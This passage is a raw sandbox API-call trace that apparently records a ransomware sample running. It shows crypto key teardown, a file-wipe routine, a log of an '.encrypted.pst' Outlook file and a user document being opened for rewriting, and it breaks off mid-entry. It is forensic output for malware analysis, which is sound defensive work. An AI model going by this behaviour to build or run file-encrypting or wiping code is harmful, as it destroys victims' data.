| out: lpMsg=0xe8f3dfee40) returned 0 [0025.754] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.762] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.762] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.762] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.762] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.762] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.762] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.763] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.763] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.763] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.763] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.763] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.763] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.763] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.763] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.764] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.764] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.764] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.764] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.766] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.766] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.766] CharLowerBuffW (in: lpsz="byte[271360]", cchLength=0xc | out: lpsz="byte[271360]") returned 0xc [0025.768] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.768] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.768] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.768] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.768] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.768] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.769] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.769] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.769] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.770] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.770] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.770] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.770] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.770] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.773] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.773] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.773] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.773] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.773] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.773] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.773] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5530) returned 1 [0025.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.774] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x159a, lpOverlapped=0x0) returned 1 [0025.775] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.775] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x159a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.775] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5530) returned 1 [0025.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\Outlook Files\\cjeijc.diuv@div.com.encrypted.pst\r\n", cchWideChar=81, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 81 [0025.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\Outlook Files\\cjeijc.diuv@div.com.encrypted.pst\r\n", cchWideChar=81, lpMultiByteStr=0xe8f40697d0, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\Outlook Files\\cjeijc.diuv@div.com.encrypted.pst\r\n", lpUsedDefaultChar=0x0) returned 81 [0025.775] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062800*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062800*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x50, lpOverlapped=0x0) returned 1 [0025.776] CloseHandle (hObject=0x1fc) returned 1 [0025.777] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.777] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.778] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.778] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.778] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.778] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.778] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.779] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.779] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.779] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.780] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.docx", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0025.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.docx", cchWideChar=41, lpMultiByteStr=0xe8f404ba10, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.docx", lpUsedDefaultChar=0x0) returned 41 [0025.780] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\pldu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0025.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=41, lpWideCharStr=0xe8f4069cb0, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.docx") returned 41 [0025.781] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.782] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.782] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.782] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.782] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.782] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.782] CloseHandle (hObject=0x1fc) returned 1 [0025.782] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.783] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 